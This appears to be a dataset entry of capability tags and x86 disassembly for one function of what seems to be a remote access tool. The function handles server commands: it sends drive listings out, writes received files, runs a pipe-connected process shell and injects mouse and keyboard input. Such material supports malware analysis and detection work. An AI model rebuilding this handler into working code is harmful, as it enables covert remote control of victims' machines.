Function at 0x401ff0
Capabilities:
Create pipe
Create process on windows
Create thread
Create two anonymous pipes
Download and write a file
Get disk information
Print debug messages
Receive and write data from server to client
Receive data
Receive data on socket
Send data
Send data on socket
Write and execute a file
Write file on windows
Write pipe

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40613a
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x21c8
call fcn.00405f60
mov eax, dword [0x40a008]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x1000
lea eax, [ebp - 0x1120]
mov dword [ebp - 0x1194], 0
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x1120]
push 0
push 0x1000
push eax
push dword [0x40a67c]
call dword [sym.imp.WS2_32.dll_recv]
push 0x404980
test eax, eax
jg 0x4020a6
push dword [0x40a67c]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x40749c
call fcn.00404740
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_int_]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
or eax, 0xffffffff
jmp 0x402ade
movzx eax, byte [ebp - 0x111b]
mov edx, str.Len:
push eax
movzx eax, byte [ebp - 0x111c]
push eax
push dword [ebp - 0x1120]
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00404740
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_int_]
push ecx
mov edx, str._Type:
mov ecx, eax
call fcn.00404740
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___short_int_]
mov edx, str._OsType:
mov ecx, eax
call fcn.00404740
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___short_int_]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
movzx eax, byte [ebp - 0x111c]
add eax, 0xffffff95
cmp eax, 8
ja case.default.0x4022ba
jmp dword [eax*4 + 0x402afc]
push 0x404980
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x4074dc
call fcn.00404740
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov byte [0x40a66d], 1
jmp case.default.0x4022ba
cmp dword [ebp - 0x1120], 0
jne 0x402206
push 0x104
lea eax, [ebp - 0x120]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x120]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
push 0xff9
lea eax, [ebp - 0x21c9]
mov dword [ebp - 0x21d0], 0xffa
push 0
push eax
mov word [ebp - 0x21cc], 0x166
mov byte [ebp - 0x21ca], 0xb
call sub.VCRUNTIME140.dll_memset
lea edx, [ebp - 0x120]
add esp, 0xc
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x4021c1
sub edx, ecx
lea eax, [ebp - 0x120]
push edx
push eax
lea ecx, [ebp - 0x21c9]
call fcn.00401080
add esp, 8
mov byte [ebp - 0x21ca], 0xa
lea eax, [ebp - 0x21d0]
push 0
push 0x1000
push eax
push dword [0x40a67c]
call dword [sym.imp.WS2_32.dll_send]
jmp case.default.0x4022ba
lea ecx, [ebp - 0x1119]
mov dword [ebp - 0x11b0], 0
mov dword [ebp - 0x11a0], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x119c], 0xf
mov byte [ebp - 0x11b0], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402234
sub ecx, edx
lea eax, [ebp - 0x1119]
push ecx
push eax
lea ecx, [ebp - 0x11b0]
call fcn.004045b0
lea ecx, [ebp - 0x11b0]
mov dword [ebp - 4], 0
call fcn.004018b0
mov edx, dword [ebp - 0x119c]
cmp edx, 0x10
jb case.default.0x4022ba
mov ecx, dword [ebp - 0x11b0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x402298
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x402298
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.004054a2
add esp, 8
jmp case.default.0x4022ba
movzx eax, byte [ebp - 0x111a]
add eax, 0xffffffec
cmp eax, 3
ja case.default.0x4022ba
jmp dword [eax*4 + 0x402b20]
cmp dword [0x40a690], 0
je 0x4022f0
call fcn.00403fe0
mov ecx, dword [0x40a690]
test ecx, ecx
je 0x4022e6
mov eax, dword [ecx]
push 1
mov eax, dword [eax + 4]
add ecx, eax
mov eax, dword [ecx]
call dword [eax]
mov dword [0x40a690], 0
push 0xb0
call fcn.00405221
mov edi, eax
add esp, 4
mov dword [ebp - 0x21d4], edi
push 0xb0
push 0
push edi
mov dword [ebp - 4], 1
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [edi], 0x4076b0
lea ecx, [edi + 0x68]
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::constructor_void_]
push 0
push 0
lea esi, [edi + 4]
mov byte [ebp - 4], 2
push esi
mov ecx, edi
mov dword [ebp - 0x1194], 1
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char_____bool_]
mov dword [ebp - 4], 3
mov eax, dword [edi]
mov eax, dword [eax + 4]
mov dword [edi + eax], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [edi]
mov ecx, dword [eax + 4]
mov dword [ebp - 0x1198], esi
lea eax, [ecx - 0x68]
mov dword [ecx + edi - 4], eax
mov ecx, esi
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void_]
mov byte [ebp - 4], 4
mov ecx, esi
mov dword [esi], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [esi + 0x48], 0
mov byte [esi + 0x3d], 0
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void_]
mov eax, dword [0x40a70c]
mov edx, dword [0x40a710]
mov dword [esi + 0x4c], 0
mov dword [esi + 0x40], eax
mov dword [esi + 0x44], edx
mov dword [esi + 0x38], 0
push ecx
push 0x22
lea eax, [ebp - 0x1119]
mov byte [ebp - 4], 5
push eax
mov ecx, esi
call fcn.00404470
test eax, eax
jne 0x4023d8
push eax
mov eax, dword [edi]
push 2
mov ecx, dword [eax + 4]
add ecx, edi
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
mov dword [ebp - 4], 0xffffffff
cmp dword [edi + 0x50], 0
mov dword [0x40a690], edi
jne case.default.0x4022ba
push 0x404980
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, 0x4074e8
jmp 0x402794
push 0xb8
call fcn.00405221
mov edi, eax
add esp, 4
mov dword [ebp - 0x1198], edi
push 0xb8
push 0
push edi
mov dword [ebp - 4], 6
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [edi], 0x4076b8
lea ecx, [edi + 0x70]
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::constructor_void_]
push 0
push 0
lea esi, [edi + 0x10]
mov byte [ebp - 4], 7
push esi
mov ecx, edi
mov dword [ebp - 0x1194], 2
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char_____bool_]
mov dword [ebp - 4], 8
mov eax, dword [edi]
mov eax, dword [eax + 4]
mov dword [edi + eax], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [edi]
mov ecx, dword [eax + 4]
mov dword [ebp - 0x21d4], esi
lea eax, [ecx - 0x70]
mov dword [ecx + edi - 4], eax
mov ecx, esi
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void_]
mov byte [ebp - 4], 9
mov ecx, esi
mov dword [esi], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [esi + 0x48], 0
mov byte [esi + 0x3d], 0
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void_]
mov eax, dword [0x40a70c]
mov edx, dword [0x40a710]
mov dword [esi + 0x4c], 0
mov dword [esi + 0x40], eax
mov dword [esi + 0x44], edx
mov dword [esi + 0x38], 0
push ecx
push 0x21
lea eax, [ebp - 0x1119]
mov byte [ebp - 4], 0xa
push eax
mov ecx, esi
call fcn.00404470
test eax, eax
jne 0x4024ed
push eax
mov eax, dword [edi]
push 2
mov ecx, dword [eax + 4]
add ecx, edi
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
mov dword [ebp - 4], 0xffffffff
cmp dword [edi + 0x5c], 0
mov dword [0x40a668], edi
je case.default.0x4022ba
push 1
call fcn.00405221
add esp, 4
mov dword [ebp - 0x1198], eax
lea ecx, [ebp - 0x21d4]
mov dword [ebp - 4], 0xb
push ecx
push 0
push eax
push 0x4050c0
push 0
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
add esp, 0x18
mov dword [ebp - 0x21d8], eax
test eax, eax
je 0x402574
mov dword [ebp - 4], 0xc
mov ecx, dword [ebp - 0x21d4]
test ecx, ecx
jne 0x40255a
push 1
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
push ecx
push eax
call dword [sym.imp.MSVCP140.dll__Thrd_detach]
add esp, 8
test eax, eax
je case.default.0x4022ba
push eax
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
push 6
mov dword [ebp - 0x21d4], 0
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
mov ecx, dword [0x40a690]
lea eax, [ebp - 0x1119]
push 0
push dword [ebp - 0x1120]
push eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
mov ecx, dword [0x40a690]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::flush_void_]
jmp case.default.0x4022ba
cmp dword [0x40a690], 0
je case.default.0x4022ba
call fcn.00403fe0
mov ecx, dword [0x40a690]
test ecx, ecx
je 0x4025db
mov eax, dword [ecx]
push 1
mov eax, dword [eax + 4]
add ecx, eax
mov eax, dword [ecx]
call dword [eax]
mov dword [0x40a690], 0
jmp case.default.0x4022ba
call fcn.00403040
mov esi, dword [sym.imp.KERNEL32.dll_CreatePipe]
lea eax, [ebp - 0x11a4]
push 0
push eax
push 0x40a698
push 0x40a674
mov dword [ebp - 0x11a4], 0xc
mov dword [ebp - 0x11a0], 0
mov dword [ebp - 0x119c], 1
call esi
test eax, eax
je 0x402778
push 0
lea eax, [ebp - 0x11a4]
push eax
push 0x40a694
push 0x40a670
call esi
test eax, eax
je 0x402778
mov eax, dword [0x40a674]
xorps xmm0, xmm0
push 0x40a680
mov dword [ebp - 0x1130], eax
mov eax, dword [0x40a694]
mov dword [ebp - 0x112c], eax
mov dword [ebp - 0x1128], eax
lea eax, [ebp - 0x1168]
push eax
push 0
push 0
push 0x8000200
push 1
push 0
push 0
push 0x40743c
movlpd qword [ebp - 0x113c], xmm0
or dword [ebp - 0x113c], 0x100
push 0
movlpd qword [ebp - 0x1164], xmm0
movlpd qword [ebp - 0x115c], xmm0
movlpd qword [ebp - 0x1154], xmm0
movlpd qword [ebp - 0x114c], xmm0
movlpd qword [ebp - 0x1144], xmm0
mov dword [ebp - 0x1134], 0
mov dword [ebp - 0x1168], 0x44
movups xmmword [0x40a680], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x4026f8
push str.CreateProcess_failed.
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 1
mov byte [0x40a66c], 0
call fcn.00405221
add esp, 4
mov dword [ebp - 0x1198], eax
lea ecx, [ebp - 0x21d4]
mov dword [ebp - 4], 0xd
push ecx
push 0
push eax
push 0x405060
push 0
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
add esp, 0x18
mov dword [ebp - 0x21d8], eax
test eax, eax
je 0x402574
mov dword [ebp - 4], 0xe
mov ecx, dword [ebp - 0x21d4]
test ecx, ecx
jne 0x402759
push 1
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
push ecx
push eax
call dword [sym.imp.MSVCP140.dll__Thrd_detach]
add esp, 8
test eax, eax
je 0x40276f
push eax
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
mov dword [ebp - 4], 0xffffffff
jmp 0x402783
push str.Create_pipe_failed
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov edx, 0x4074f8
push 0x404980
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00404740
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
jmp case.default.0x4022ba
call fcn.00403040
jmp case.default.0x4022ba
lea ecx, [ebp - 0x111a]
mov dword [ebp - 0x1194], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4027c6
push 0
lea eax, [ebp - 0x1194]
sub ecx, edx
push eax
push ecx
lea eax, [ebp - 0x111a]
push eax
push dword [0x40a698]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne case.default.0x4022ba
push str.write_failed
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov edx, str.Cmd_Write_Failed
jmp 0x402788
mov eax, dword [ebp - 0x111a]
cmp al, 4
jne 0x40281c
mov byte [0x40a66e], 1
jmp case.default.0x4022ba
cmp al, 3
jne case.default.0x4022ba
push 4
mov byte [0x40a66e], 0
call fcn.00405221
add esp, 4
mov dword [ebp - 0x1198], eax
mov dword [eax], 0x401d80
lea ecx, [ebp - 0x21d4]
mov dword [ebp - 4], 0xf
push ecx
push 0
push eax
push 0x405120
push 0
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
add esp, 0x18
mov dword [ebp - 0x21d8], eax
test eax, eax
je 0x402574
mov dword [ebp - 4], 0x10
mov ecx, dword [ebp - 0x21d4]
test ecx, ecx
jne 0x40255a
push 1
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
mov eax, dword [ebp - 0x1112]
cmp eax, 5
je 0x4029cd
cmp eax, 0x11
je 0x402952
cmp eax, 0x800
je case.default.0x4022ba
push dword [ebp - 0x1116]
push dword [ebp - 0x111a]
call dword [sym.imp.USER32.dll_SetCursorPos]
mov eax, dword [ebp - 0x111a]
xorps xmm0, xmm0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x407524
mov dword [ebp - 0x11b0], eax
mov eax, dword [ebp - 0x1116]
push 0x404980
mov dword [ebp - 0x11ac], eax
mov eax, dword [ebp - 0x1112]
push 0x401380
push eax
push 0x4013a0
mov dword [ebp - 0x11a8], 0
movlpd qword [ebp - 0x11a0], xmm0
mov dword [ebp - 0x11b4], 0
mov dword [ebp - 0x11a4], eax
call fcn.00404740
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base_____cdecl___class_std::ios_base___]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base_____cdecl___class_std::ios_base___]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
lea eax, [ebp - 0x11b4]
jmp 0x402ad1
push dword [ebp - 0x1116]
push dword [ebp - 0x111a]
call dword [sym.imp.USER32.dll_SetCursorPos]
push 0x70
lea eax, [ebp - 0x1190]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x1180], 8
lea eax, [ebp - 0x1190]
mov dword [ebp - 0x1174], 0
mov dword [ebp - 0x1164], 0x10
mov dword [ebp - 0x1158], 0
push 0x1c
push eax
mov dword [ebp - 0x1148], 8
mov dword [ebp - 0x113c], 0
mov dword [ebp - 0x112c], 0x10
push 4
jmp 0x402ad6
push dword [ebp - 0x1116]
push dword [ebp - 0x111a]
call dword [sym.imp.USER32.dll_SetCursorPos]
push 0x70
lea eax, [ebp - 0x1190]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x1180], 2
lea eax, [ebp - 0x1190]
mov dword [ebp - 0x1174], 0
mov dword [ebp - 0x1164], 4
mov dword [ebp - 0x1158], 0
push 0x1c
push eax
mov dword [ebp - 0x1148], 2
mov dword [ebp - 0x113c], 0
mov dword [ebp - 0x112c], 4
push 4
jmp 0x402ad6
xor eax, eax
mov dword [ebp - 0x11d0], 1
mov word [ebp - 0x11ca], ax
xorps xmm0, xmm0
movsx ax, byte [ebp - 0x1116]
movlpd qword [ebp - 0x11c4], xmm0
movlpd qword [ebp - 0x11bc], xmm0
mov word [ebp - 0x11cc], ax
mov eax, dword [ebp - 0x111a]
mov dword [ebp - 0x11c8], eax
test eax, eax
jne 0x402a94
mov edx, 0x407530
jmp 0x402a9e
cmp eax, 2
jne 0x402aa9
mov edx, 0x407538
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00404740
mov dl, byte [ebp - 0x1116]
push 0x404980
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.004049b0
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
lea eax, [ebp - 0x11d0]
push 0x1c
push eax
push 1
call dword [sym.imp.USER32.dll_SendInput]
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0040520e
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret